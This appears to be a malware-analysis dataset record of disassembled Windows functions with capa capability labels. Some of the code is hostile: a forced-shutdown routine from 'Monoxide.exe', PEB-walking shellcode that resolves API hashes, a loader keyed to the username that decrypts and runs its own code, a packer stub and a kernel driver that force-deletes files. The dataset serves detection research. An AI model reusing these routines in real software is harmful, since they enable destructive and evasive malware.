joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002030
Capabilities:
Shutdown system

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetSystemPowerState
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtShutdownSystem
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rbp, rbp
je 0x1400020de
xor r8d, r8d
lea r9, [rsp + 0x20]
mov dl, 1
lea ecx, [r8 + 0x13]
call rbp
test eax, eax
je 0x1400020de
mov r9d, 0x10
lea r8, str.Monoxide.exe
lea rdx, str.Im_not_allowed_to_adjust_my_debug_privilege__somehow._nYoure_doing_something_here__arent_you__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140002104
test rsi, rsi
je 0x140002126
mov edx, 6
mov r8d, 0x1000a
mov ecx, edx
call rsi
test eax, eax
jne 0x140002126
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14000a700
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
test rdi, rdi
je 0x140002136
mov ecx, 2
call rdi
test eax, eax
je 0x1400020f6
mov edx, 4
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1400020ff
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Monoxide.exe
lea rdx, str.I_cant_power_off_the_computer._nYoure_lucky_this_time...
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140002104

Function at 0x140002c40
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SetProcessDPIAware
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002c6d
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor ebx, ebx
xor ecx, ecx
mov qword [0x140030bb8], rbx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140030bc8], rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov dword [0x140030bb0], eax
call fcn.140003740
xor r9d, r9d
lea r8, section..text
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x14000a670]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
Function at 0x14000d0e4
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000ceb8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ceb8
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ceb8
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ceb8
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ceb8
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ceb8
cmp dword [rcx + 0xf8], esi
je 0x14000ceb8
mov ecx, r14d
call fcn.14000d000
mov ecx, 2
call fcn.140010ec0
nop
cmp byte [0x14002c2b0], 0
jne 0x14000cf82
mov r15d, 1
mov eax, r15d
xchg dword [0x14002c2a4], eax
test ebx, ebx
jne 0x14000cf2b
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14002c2a8]
cmp rcx, rax
je 0x14000cf22
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000ae80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14002c2c0]
jmp 0x14000cf37
cmp ebx, r15d
jne 0x14000cf3d
lea rcx, [0x14002c2d8]
call fcn.14000d5f4
nop
test ebx, ebx
jne 0x14000cf54
lea rdx, [0x14001b4e8]
lea rcx, [0x14001b4c8]
call fcn.14000cd78
lea rdx, [0x14001b4f8]
lea rcx, [0x14001b4f0]
call fcn.14000cd78
movzx eax, byte [0x14002c2b0]
test esi, esi
cmove eax, r15d
mov byte [0x14002c2b0], al
jmp 0x14000cf82
mov ecx, 2
call fcn.140010f14
test esi, esi
jne 0x14000cf99
mov ecx, r14d
call fcn.14000cfb4
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000ce48
Function at 0x10040be50
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0x35353535
xor eax, 0x35353535
xor eax, 0x7d353535
xor eax, 0x35363541
Function at 0x1400022ec
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000215c

Function at 0x14000257f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000d028]
jne 0x14000182a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001826
repz ret
ror rcx, 0x10
jmp 0x1400024d8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000e110]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000e208]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000255d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000e110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000257f
mov rax, qword [rsp + 0x88]
mov qword [0x14000e208], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000e1a8], rax
mov rax, qword [0x14000e208]
mov qword [0x14000e080], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000e190], rax
mov dword [0x14000e070], 0xc0000409
mov dword [0x14000e074], 1
mov rax, qword [0x14000d028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000d030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000e108], eax
mov ecx, 1
call fcn.14000483c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400092f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000e108], 0
jne 0x140002606
mov ecx, 1
call fcn.14000483c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000586c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000d028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003550
xor ebx, ebx
cmp qword [0x14000f058], rbx
mov rdi, rax
jne 0x14000597f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005a56
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005a56
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000f058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000f060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000f068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000f078], rax
test rax, rax
je 0x140005976
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000f070], rax
jmp 0x140005986
mov rax, qword [0x14000f070]
jmp 0x14000598d
mov rax, qword [0x14000f070]
mov r11, qword [0x14000f078]
cmp rax, rdi
je 0x1400059f4
cmp r11, rdi
je 0x1400059f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000f078]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400059f4
test rax, rax
je 0x1400059f4
call rsi
test rax, rax
je 0x1400059ee
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400059ee
test byte [rsp + 0x40], 1
jne 0x1400059f4
bts ebp, 0x15
jmp 0x140005a34
mov rcx, qword [0x14000f060]
cmp rcx, rdi
je 0x140005a34
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005a34
call rax
mov rbx, rax
test rax, rax
je 0x140005a34
mov rcx, qword [0x14000f068]
cmp rcx, rdi
je 0x140005a34
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005a34
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000f058]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005a56
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005a58
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001810
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rcx
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140013800
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b60
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b73
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014b9d
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014bb1
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014bc3
xor al, al
jmp 0x140014be1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014bdf
xor al, al
jmp 0x140014be1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011311
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x140011910
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x128]
lea rcx, [0x1400240a6]
call fcn.1400113b1
movzx eax, word [rbp + 0x100]
mov word [rbp + 4], ax
movzx eax, word [rbp + 0x108]
mov word [rbp + 6], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rbp + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ae80]
call fcn.140011343
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using djb2
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov r8d, 0x1e
lea rdx, [rsp + 0x80]
lea rcx, str.USERNAME
mov edi, 0x1505
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x28
lea rdx, [rsp + 0xa0]
lea rcx, str.USERDOMAIN
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor eax, eax
xor esi, esi
mov qword [rsp + 0x30], rax
mov ecx, esi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov word [rsp + 0x74], ax
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x80]
mov byte [rsp + rcx + 0x30], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400012e0
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x140001300
lea r8, [rsp + 0xa0]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001320
lea rdx, [rsp + 0x30]
lea rcx, [0x14000322c]
call fcn.1400011e0
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov rcx, rbx
inc rcx
cmp byte [rax + rcx], sil
jne 0x140001350
mov r8d, esi
test rcx, rcx
je 0x140001400
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movsx eax, byte [rdx]
lea rdx, [rdx + 1]
imul edi, edi, 0x21
inc r8d
add edi, eax
movsxd rax, r8d
cmp rax, rcx
jb 0x140001370
cmp edi, 0xd1ee3693
jne 0x140001400
lea rdi, section..text
mov edx, 0x1cd
mov rcx, rdi
lea r9, [rsp + 0x20]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], sil
jne 0x1400013b4
mov rcx, rdi
movsxd rax, esi
lea rcx, [rcx + 1]
xor edx, edx
inc esi
div rbx
movzx eax, byte [rsp + rdx + 0x30]
xor byte [rcx - 1], al
cmp esi, 0x1cc
jb 0x1400013c0
lea r9, [rsp + 0x20]
mov edx, 0x1cd
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
mov eax, 1
jmp 0x140001402
xor eax, eax
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140001440
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140920058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409201df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140920089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14092006f
add dl, dl
jne 0x140920096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409200f6
xor eax, eax
add dl, dl
jne 0x1409200a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409201ad
add dl, dl
jne 0x1409200b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409200c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409200d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409200dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409200ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14092007e
mov eax, 1
add dl, dl
jne 0x140920106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140920113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409200fb
sub eax, ebx
mov ebx, 1
jne 0x14092014c
mov ecx, 1
add dl, dl
jne 0x14092012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14092013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140920123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14092007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140920168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140920175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14092015d
cmp eax, 0x7d00
jae 0x14092019b
cmp eax, 0x500
jb 0x140920196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14092007e
cmp eax, 0x7f
ja 0x14092019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14092007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409201d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14092007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003920
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x88], 0
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov byte [rsp + 0x85], 0
mov dword [rsp + 0x80], 0
mov dword [rsp + 0xa0], 0x30
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb8], 0x240
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0x100
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xa0]
mov edx, 0x110000
lea rcx, [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_IoCreateFileEx]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jge 0x140003a5a
mov eax, dword [rsp + 0x80]
jmp 0x140003b59
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x656c6946
xor r9d, r9d
mov rax, qword [sym.imp.ntoskrnl.exe_IoFileObjectType]
mov r8, qword [rax]
mov edx, 0x110000
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandleWithTag]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jge 0x140003ac5
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
mov eax, dword [rsp + 0x80]
jmp 0x140003b59
mov rax, qword [rsp + 0x98]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rax + 0x10], 0
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_MmFlushImageSection]
mov byte [rsp + 0x84], al
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
movzx eax, byte [rsp + 0x84]
test eax, eax
je 0x140003b52
lea rcx, [rsp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jl 0x140003b52
mov eax, dword [rsp + 0x80]
jmp 0x140003b59
mov eax, dword [rsp + 0x80]
add rsp, 0xe0
pop rdi
ret
Function at 0x140003d50
Capabilities:
Create device object
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb8
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x68]
or eax, 0x20
mov rcx, qword [rsp + 0x48]
mov dword [rcx + 0x68], eax
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
mov rdi, rax
lea rsi, [rcx + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x80]
call fcn.140003920
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
mov rdi, rax
lea rsi, [rcx + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x90]
lea rcx, [0x140004e70]
call sub.ntoskrnl.exe_DbgPrint
lea rax, [rsp + 0xa0]
mov rcx, qword [rsp + 0x48]
mov rdi, rax
lea rsi, [rcx + 0x48]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xa0]
call fcn.140004050
lea rcx, [0x140004e90]
call sub.ntoskrnl.exe_DbgPrint
lea rdx, [0x140004eb0]
mov rcx, qword [rsp + 0xd0]
call fcn.140004800
mov qword [0x140012950], rax
lea rdx, [0x140004ed0]
mov rcx, qword [rsp + 0xd0]
call fcn.140004800
mov qword [0x140012948], rax
lea rdx, [0x140004ef0]
mov rcx, qword [rsp + 0xd0]
call fcn.140004800
mov qword [0x140012938], rax
lea rdx, [0x140004f00]
mov rcx, qword [rsp + 0xd0]
call fcn.140004800
mov qword [0x140012940], rax
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x50], 0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xd0]
lea rdx, [0x140003b70]
mov qword [rcx + rax + 0x70], rdx
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0xd0]
lea rdx, [0x140003b70]
mov qword [rcx + rax + 0x70], rdx
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0xd0]
lea rdx, [0x140003bb0]
mov qword [rcx + rax + 0x70], rdx
mov rax, qword [rsp + 0xd0]
lea rcx, [0x140003fc0]
mov qword [rax + 0x68], rcx
lea rdx, [0x140004f10]
lea rcx, [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x22
lea r8, [rsp + 0x58]
xor edx, edx
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140003f70
mov eax, dword [rsp + 0x40]
jmp 0x140003fb0
lea rdx, [0x140004e20]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140003fae
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, dword [rsp + 0x40]
jmp 0x140003fb0
xor eax, eax
add rsp, 0xb8
pop rdi
pop rsi
ret